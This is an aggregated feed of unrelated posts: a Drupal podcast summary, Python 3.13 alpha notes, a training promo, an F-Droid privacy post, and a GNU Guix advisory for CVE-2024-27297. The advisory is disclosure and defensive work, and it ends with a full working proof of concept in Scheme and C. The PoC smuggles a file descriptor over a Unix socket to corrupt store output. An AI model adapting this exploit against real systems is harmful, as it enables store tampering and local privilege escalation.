Welcome back to “Skills Upgrade” a Talking Drupal mini-series following the journey of a D7 developer learning D10. This is episode 2.

Topics

• Review Chad’s goals for the previous week
  • DDEV Installation
  • Docker for Mac vs other options
  • IDE Setup
• Review Chad’s questions
• Tasks for the upcoming week
  • DDEV improve performance
  • Install Drupal 10
  • Install drupal/core dependencies
  • Configure and test phpcs
  • Test phpstan
  • Set up settings.local.php
  • Install devel module

Resources

DDEV Performance DDEV Quickstart Drupal Core Dependencies How to Implement Drupal Code Standards Running PHPStan On Drupal Custom Modules Why you should care about using settings.local.php Rancher Desktop

Chad’s Drupal 10 Learning Curriclum & Journal Chad’s Drupal 10 Learning Notes

Hosts

AmyJune Hineline – @volkswagenchick

Guests

Chad Hester – chadkhester.com @chadkhest Mike Anello – DrupalEasy.com @ultimike

Python 3.13.0 alpha 5 is now available:

This is an early developer preview of Python 3.13

Major new features of the 3.13 series, compared to 3.12

Python 3.13 is still in development. This release, 3.13.0a5, is the fifth of six planned alpha releases.

Alpha releases are intended to make it easier to test the current
state of new features and bug fixes and to test the release process.

During the alpha phase, features may be added up until the start of
the beta phase (2024-05-07) and, if necessary, may be modified or
deleted up until the release candidate phase (2024-07-30). Please keep
in mind that this is a preview release and its use is not recommended for production environments.

Many new features for Python 3.13 are still being planned and written. Work continues apace on both the work to remove the Global Interpeter Lock , and to improve Python performance. The most notable changes so far:

• In the interactive interpreter, exception tracebacks are now colorized by default .
• A preliminary, experimental JIT was added, providing the ground work for significant performance improvements.
• Docstrings now have their leading indentation stripped , reducing memory use and the size of .pyc files. (Most tools handling docstrings already strip leading indentation.)
• The dbm module has a new dbm.sqlite3 backend that is used by default when creating new files.
• PEP 594 (Removing dead batteries from the standard library) scheduled removals of many deprecated modules: aifc, audioop, chunk, cgi, cgitb, crypt, imghdr, mailcap, msilib, nis, nntplib, ossaudiodev, pipes, sndhdr, spwd, sunau, telnetlib, uu, xdrlib, lib2to3.
• Many other removals of deprecated classes, functions and methods in various standard library modules.
• New deprecations , most of which are scheduled for removal from Python 3.15 or 3.16.
• C API removals and deprecations. (Some removals present in alpha 1 have been reverted in alpha 2, as the removals were deemed too disruptive at this time.)

(Hey, fellow core developer, if a feature you find important is missing from this list, let Thomas know.)

The next pre-release of Python 3.13 will be 3.13.0a6, currently scheduled for 2024-04-09.

More resources

• Online Documentation
• PEP 719 , 3.13 Release Schedule
• Report bugs at Issues · python/cpython · GitHub.
• Help fund Python directly (or via GitHub Sponsors), and support the Python community.

Enjoy the new releases

Thanks to all of the many volunteers who help make Python Development
and these releases possible! Please consider supporting our efforts by
volunteering yourself or through organization contributions to the
Python Software Foundation.

Regards from wet and chilly Amsterdam,

Your release team,
Thomas Wouters
Ned Deily
Steve Dower
Łukasz Langa

→ Save 40% with code LUCK24 on IT Professional Programs & Bundles → Save 25% with code LUCK24CC on e-Learning Courses & Certifications & SkillCreds → Save 25% with code LUCK24ILT on Instructor-led Courses Learn more at Linux Foundation Training

The post Find Your Pot of Career Gold & Save Up to 40% appeared first on Linux.com.

A security issue has been identified in
guix-daemon
which allows for fixed-output
derivations,
such as source code tarballs or Git checkouts, to be corrupted by an
unprivileged user. This could also lead to local privilege escalation.
This was originally reported to Nix but also affects Guix as we share
some underlying code from an older version of Nix for the
guix-daemon. Readers only interested in making sure their Guix is up
to date and no longer affected by this vulnerability can skip down to
the “Upgrading” section.

Vulnerability

The basic idea of the attack is to pass file descriptors through Unix
sockets to allow another process to modify the derivation contents.
This was first reported to Nix by jade and puckipedia with further
details and a proof of concept
here. Note that the proof
of concept is written for Nix and has been adapted for GNU Guix below.
This security advisory is registered as
CVE-2024-27297
(details are also available at Nix’s GitHub security
advisory)
and rated “moderate” in severity.

A fixed-output
derivation
is one where the output hash is known in advance. For instance, to
produce a source tarball. The GNU Guix build sandbox purposefully
excludes network access (for security and to ensure we can control and
reproduce the build environment), but a fixed-output derivation does
have network access, for instance to download that source tarball.
However, as stated, the hash of output must be known in advance, again
for security (we know if the file contents would change) and
reproducibility (should always have the same output). The
guix-daemon handles the build process and writing the output to the
store, as a privileged process.

In the build sandbox for a fixed-output derivation, a file descriptor
to its contents could be shared with another process via a Unix
socket. This other process, outside of the build sandbox, can then
modify the contents written to the store, changing them to something
malicious or otherwise corrupting the output. While the output hash
has already been determined, these changes would mean a fixed-output
derivation could have contents written to the store which do not match
the expected hash. This could then be used by the user or other
packages as well.

Mitigation

This security issue (tracked here
for GNU Guix) has been fixed by
two
commits
by Ludovic Courtès. Users should make sure they have updated to this
second
commit
to be protected from this vulnerability. Upgrade instructions are in
the following section.

While several possible mitigation strategies were detailed in the
original report, the simplest fix is just copy the derivation output
somewhere else, deleting the original, before writing to the store.
Any file descriptors will no longer point to the contents which get
written to the store, so only the guix-daemon should be able to
write to the store, as designed. This is what the Nix project used in
their own
fix.
This does add an additional copy/delete for each file, which may add a
performance penalty for derivations with many files.

A proof of concept by Ludovic, adapted from the one in the original
Nix report, is available at the end of this post. One can run this
code with

guix build -f fixed-output-derivation-corruption.scm -M4

This will output whether the current guix-daemon being used is
vulnerable or not. If it is vulnerable, the output will include a line similar to

We managed to corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261, meaning that YOUR SYSTEM IS VULNERABLE!

The corrupted file can be removed with

guix gc -D /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd*

In general, corrupt files from the store can be found with

guix gc --verify=contents

which will also include any files corrupted by through this
vulnerability. Do note that this command can take a long time to
complete as it checks every file under /gnu/store, which likely has
many files.

Upgrading

Due to the severity of this security advisory, we strongly recommend
all users to upgrade their guix-daemon immediately.

For a Guix System the procedure is just reconfiguring the system after
a guix pull, either restarting guix-daemon or rebooting. For
example,

guix pull
sudo guix system reconfigure /run/current-system/configuration.scm
sudo herd restart guix-daemon

where /run/current-system/configuration.scm is the current system
configuration but could, of course, be replaced by a system
configuration file of a user’s choice.

For Guix running as a package manager on other distributions, one
needs to guix pull with sudo, as the guix-daemon runs as root,
and restart the guix-daemon service. For example, on a system using
systemd to manage services,

sudo --login guix pull
sudo systemctl restart guix-daemon.service

Note that for users with their distro’s package of Guix (as opposed to
having used the install
script)
you may need to take other steps or upgrade the Guix package as per
other packages on your distro. Please consult the relevant
documentation from your distro or contact the package maintainer for
additional information or questions.

Conclusion

One of the key features and design principles of GNU Guix is to allow
unprivileged package management through a secure and reproducible
build
environment.
While every effort is made to protect the user and system from any
malicious actors, it is always possible that there are flaws yet to be
discovered, as has happened here. In this case, using the ingredients
of how file descriptors and Unix sockets work even in the isolated
build environment allowed for a security vulnerability with moderate
impact.

Our thanks to jade and puckipedia for the original report, and Picnoir
for bringing this to the attention of the GNU Guix security
team. And a special thanks to
Ludovic Courtès for a prompt fix and proof of concept.

Note that there are current efforts to rewrite the guix-daemon in
Guile by Christopher Baines. For more information and the latest news
on this front, please refer to the recent blog
post and
this
message
on the guix-devel
mailing list.

Proof of Concept

Below is code to check if a guix-daemon is vulnerable to this
exploit. Save this file as fixed-output-derivation-corruption.scm
and run following the instructions above, in “Mitigation.” Some
further details and example output can be found on issue
#69728

;; Checking for CVE-2024-27297.
;; Adapted from <https://hackmd.io/03UGerewRcy3db44JQoWvw>.

(use-modules (guix)
             (guix modules)
             (guix profiles)
             (gnu packages)
             (gnu packages gnupg)
             (gcrypt hash)
             ((rnrs bytevectors) #:select (string->utf8)))

(define (compiled-c-code name source)
  (define build-profile
    (profile (content (specifications->manifest '("gcc-toolchain")))))

  (define build
    (with-extensions (list guile-gcrypt)
     (with-imported-modules (source-module-closure '((guix build utils)
                                                     (guix profiles)))
       #~(begin
           (use-modules (guix build utils)
                        (guix profiles))
           (load-profile #+build-profile)
           (system* "gcc" "-Wall" "-g" "-O2" #+source "-o" #$output)))))

  (computed-file name build))

(define sender-source
  (plain-file "sender.c" "
      #include <sys/socket.h>
      #include <sys/un.h>
      #include <stdlib.h>
      #include <stddef.h>
      #include <stdio.h>
      #include <unistd.h>
      #include <fcntl.h>
      #include <errno.h>

      int main(int argc, char **argv) {
          setvbuf(stdout, NULL, _IOLBF, 0);

          int sock = socket(AF_UNIX, SOCK_STREAM, 0);

          // Set up an abstract domain socket path to connect to.
          struct sockaddr_un data;
          data.sun_family = AF_UNIX;
          data.sun_path[0] = 0;
          strcpy(data.sun_path + 1, "dihutenosa");

          // Now try to connect, To ensure we work no matter what order we are
          // executed in, just busyloop here.
          int res = -1;
          while (res < 0) {
              printf("attempting connection...\n");
              res = connect(sock, (const struct sockaddr *)&data,
                  offsetof(struct sockaddr_un, sun_path)
                    + strlen("dihutenosa")
                    + 1);
              if (res < 0 && errno != ECONNREFUSED) perror("connect");
              if (errno != ECONNREFUSED) break;
              usleep(500000);
          }

          // Write our message header.
          struct msghdr msg = {0};
          msg.msg_control = malloc(128);
          msg.msg_controllen = 128;

          // Write an SCM_RIGHTS message containing the output path.
          struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
          hdr->cmsg_len = CMSG_LEN(sizeof(int));
          hdr->cmsg_level = SOL_SOCKET;
          hdr->cmsg_type = SCM_RIGHTS;
          int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
          memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));

          msg.msg_controllen = CMSG_SPACE(sizeof(int));

          // Write a single null byte too.
          msg.msg_iov = malloc(sizeof(struct iovec));
          msg.msg_iov[0].iov_base = "";
          msg.msg_iov[0].iov_len = 1;
          msg.msg_iovlen = 1;

          // Send it to the othher side of this connection.
          res = sendmsg(sock, &msg, 0);
          if (res < 0) perror("sendmsg");
          int buf;

          // Wait for the server to close the socket, implying that it has
          // received the commmand.
          recv(sock, (void *)&buf, sizeof(int), 0);
      }"))

(define receiver-source
  (mixed-text-file "receiver.c" "
      #include <sys/socket.h>
      #include <sys/un.h>
      #include <stdlib.h>
      #include <stddef.h>
      #include <stdio.h>
      #include <unistd.h>
      #include <sys/inotify.h>

      int main(int argc, char **argv) {
          int sock = socket(AF_UNIX, SOCK_STREAM, 0);

          // Bind to the socket.
          struct sockaddr_un data;
          data.sun_family = AF_UNIX;
          data.sun_path[0] = 0;
          strcpy(data.sun_path + 1, "dihutenosa");
          int res = bind(sock, (const struct sockaddr *)&data,
              offsetof(struct sockaddr_un, sun_path)
              + strlen("dihutenosa")
              + 1);
          if (res < 0) perror("bind");

          res = listen(sock, 1);
          if (res < 0) perror("listen");

          while (1) {
              setvbuf(stdout, NULL, _IOLBF, 0);
              printf("accepting connections...\n");
              int a = accept(sock, 0, 0);
              if (a < 0) perror("accept");

              struct msghdr msg = {0};
              msg.msg_control = malloc(128);
              msg.msg_controllen = 128;

              // Receive the file descriptor as sent by the smuggler.
              recvmsg(a, &msg, 0);

              struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
              while (hdr) {
                  if (hdr->cmsg_level == SOL_SOCKET
                   && hdr->cmsg_type == SCM_RIGHTS) {
                      int res;

                      // Grab the copy of the file descriptor.
                      memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int));
                      printf("preparing our hand...\n");

                      ftruncate(res, 0);
                      // Write the expected contents to the file, tricking Nix
                      // into accepting it as matching the fixed-output hash.
                      write(res, "hello, world\n", strlen("hello, world\n"));

                      // But wait, the file is bigger than this! What could
                      // this code hide?

                      // First, we do a bit of a hack to get a path for the
                      // file descriptor we received. This is necessary because
                      // that file doesn't exist in our mount namespace!
                      char buf[128];
                      sprintf(buf, "/proc/self/fd/%d", res);

                      // Hook up an inotify on that file, so whenever Nix
                      // closes the file, we get notified.
                      int inot = inotify_init();
                      inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE);

                      // Notify the smuggler that we've set everything up for
                      // the magic trick we're about to do.
                      close(a);

                      // So, before we continue with this code, a trip into Nix
                      // reveals a small flaw in fixed-output derivations. When
                      // storing their output, Nix has to hash them twice. Once
                      // to verify they match the "flat" hash of the derivation
                      // and once more after packing the file into the NAR that
                      // gets sent to a binary cache for others to consume. And
                      // there's a very slight window inbetween, where we could
                      // just swap the contents of our file. But the first hash
                      // is still noted down, and Nix will refuse to import our
                      // NAR file. To trick it, we need to write a reference to
                      // a store path that the source code for the smuggler drv
                      // references, to ensure it gets picked up. Continuing...

                      // Wait for the next inotify event to drop:
                      read(inot, buf, 128);

                      // first read + CA check has just been done, Nix is about
                      // to chown the file to root. afterwards, refscanning
                      // happens...

                      // Empty the file, seek to start.
                      ftruncate(res, 0);
                      lseek(res, 0, SEEK_SET);

                      // We swap out the contents!
                      static const char content[] = "This file has been corrupted!\n";
                      write(res, content, strlen (content));
                      close(res);

                      printf("swaptrick finished, now to wait..\n");
                      return 0;
                  }

                  hdr = CMSG_NXTHDR(&msg, hdr);
              }
              close(a);
          }
      }"))

(define nonce
  (string-append "-" (number->string (car (gettimeofday)) 16)
                 "-" (number->string (getpid))))

(define original-text
  "This is the original text, before corruption.")

(define derivation-that-exfiltrates-fd
  (computed-file (string-append "derivation-that-exfiltrates-fd" nonce)
                 (with-imported-modules '((guix build utils))
                   #~(begin
                       (use-modules (guix build utils))
                       (invoke #+(compiled-c-code "sender" sender-source))
                       (call-with-output-file #$output
                         (lambda (port)
                           (display #$original-text port)))))
                 #:options `(#:hash-algo sha256
                             #:hash ,(sha256
                                      (string->utf8 original-text)))))

(define derivation-that-grabs-fd
  (computed-file (string-append "derivation-that-grabs-fd" nonce)
                 #~(begin
                     (open-output-file #$output) ;make sure there's an output
                     (execl #+(compiled-c-code "receiver" receiver-source)
                            "receiver"))
                 #:options `(#:hash-algo sha256
                             #:hash ,(sha256 #vu8()))))

(define check
  (computed-file "checking-for-vulnerability"
                 #~(begin
                     (use-modules (ice-9 textual-ports))

                     (mkdir #$output)            ;make sure there's an output
                     (format #t "This depends on ~a, which will grab the file
descriptor and corrupt ~a.~%~%"
                             #+derivation-that-grabs-fd
                             #+derivation-that-exfiltrates-fd)

                     (let ((content (call-with-input-file
                                        #+derivation-that-exfiltrates-fd
                                      get-string-all)))
                       (format #t "Here is what we see in ~a: ~s~%~%"
                               #+derivation-that-exfiltrates-fd content)
                       (if (string=? content #$original-text)
                           (format #t "Failed to corrupt ~a, 
your system is safe.~%"
                                   #+derivation-that-exfiltrates-fd)
                           (begin
                             (format #t "We managed to corrupt ~a, 
meaning that YOUR SYSTEM IS VULNERABLE!~%"
                                     #+derivation-that-exfiltrates-fd)
                             (exit 1)))))))

check

About GNU Guix

GNU Guix is a transactional package manager
and an advanced distribution of the GNU system that respects user
freedom.
Guix can be used on top of any system running the Hurd or the Linux
kernel, or it can be used as a standalone operating system
distribution for i686, x86_64, ARMv7, AArch64, and POWER9 machines.

In addition to standard package management features, Guix supports
transactional upgrades and roll-backs, unprivileged package
management, per-user profiles, and garbage collection. When used as a
standalone GNU/Linux distribution, Guix offers a declarative,
stateless approach to operating system configuration management. Guix
is highly customizable and hackable through
Guile programming interfaces and
extensions to the Scheme language.

F-Droid is committed to upholding privacy-by-design principles. This
commitment has significant architectural implications for all of our
software and systems. Here’s what it means for our web servers.

At present, many websites rely on commercial content delivery network (CDN)
providers. While this simplifies scaling out for website operators, it
centralizes the internet, which has some implications on user privacy. First
and foremost, CDN providers can see all user data. This means that users
need to trust that none of their data is being stored and/or leaked. CDN
providers tend to have strong privacy policies. However, users and website
operators cannot verify how these policies are enforced. Regulations such as
GDPR have reporting requirements that can help, but ultimately trust is
required.

To scale out f-droid.org in a privacy-friendly manner, we rely on mirroring
and adding more servers under our control.

Mirroring has been a successful scaling strategy for many GNU/Linux
distributions. Anyone can host a mirror of our app repository by keeping an
up-to-date copy on their web
server. Traditionally,
Universities and ISPs provide mirroring to speed up their internet
infrastructure. Our app automatically selects a mirror for each download
based on connection performance. F-Droid carefully curates a list of
official mirrors. Our app gives users complete control over which mirrors
they want to use. We are also exploring ways to provide more information
about mirrors to assist users in making informed trust decisions. Towards
that end, the country where the mirror is located is now
provided
for official mirrors, which the client will soon
use when choosing
where to download from. Additionally, we require a good privacy policy for
new mirrors, and are working on a way to make that
visible to
users.

As a side note, the popular proprietary CDN provider Cloudflare is
sponsoring a mirror of our website and
repository. If you trust them
you can add this repository as a mirror to your F-Droid App by going to
repository settings and adding the mirror as if you were adding a new
repository. We are working with them to get TLS Encrypted Client Hello
(ECH) enabled on that site. That is the upcoming IETF standard for
protecting metadata in TLS connections, including the domain name in the SNI
field.

We’ve automated our webserver operations with ansible on top of
Debian. This gives us a lot of flexibility, such as the ability to implement
privacy enhancing network and logging configurations, as well as the freedom
to easily change server hosting providers.

Our web servers are protected by HTTPS transport encryption. Although we use
a state of the art implementation of this protocol, the domain name that
users are connecting to is typically transmitted in clear text during
connection establishment. This is because of a widely used technique called
SNI. While SNI is a fundamental requirement for building multi-tenant CDNs,
we have configured our servers to accept connections without SNI. This
allows clients to connect to f-droid.org without having to include the SNI.
This provides the same kind of protection as ECH, but is available right now
for clients that implement it.

Based on research from Guardian Project’s Clean Insights, we’ve configured
our web servers to log country codes instead of IP addresses. This means
that we do not store any personally identifiable information. Our servers
also delete log data after 14 days. We’ve been running this configuration
for over a year now and it seems to be working pretty well. Here’s what our
web server logs look like:

0.0.0.0 - - [29/Feb/2024:00:00:00 +0000] "HEAD /repo/index-v1.jar HTTP/1.1" 200 0 "-" "-" DE
0.0.0.0 - - [29/Feb/2024:00:00:00 +0000] "GET /repo/entry.jar HTTP/2.0" 200 2574 "-" "-" US
0.0.0.0 - - [29/Feb/2024:00:00:00 +0000] "GET /repo/entry.jar HTTP/2.0" 200 2574 "-" "-" DE
0.0.0.0 - - [29/Feb/2024:00:00:00 +0000] "GET /repo/entry.jar HTTP/2.0" 200 2574 "-" "-" BE
0.0.0.0 - - [29/Feb/2024:00:00:00 +0000] "GET /F-Droid.apk HTTP/2.0" 206 1474560 "https://f-droid.org/" "-" NG

With fine-grained control over our web server logs and a significant amount
of traffic, F-Droid is in a great position to innovate on privacy
metrics. We’re aggregating our logs and publish the resulting raw metrics
for f-droid.org on a weekly basis. The
numbers we collect here don’t include metrics from our mirrors, but they
should be good enough for statistical analysis. No one on our team is
currently working on this analysis, so if this sounds interesting to you,
this could be a great way to make a valuable contribution to F-Droid.

If you’re interested to learn more about privacy protections in F-Droid,
here is an article about why F-Droid doesn’t have user
accounts.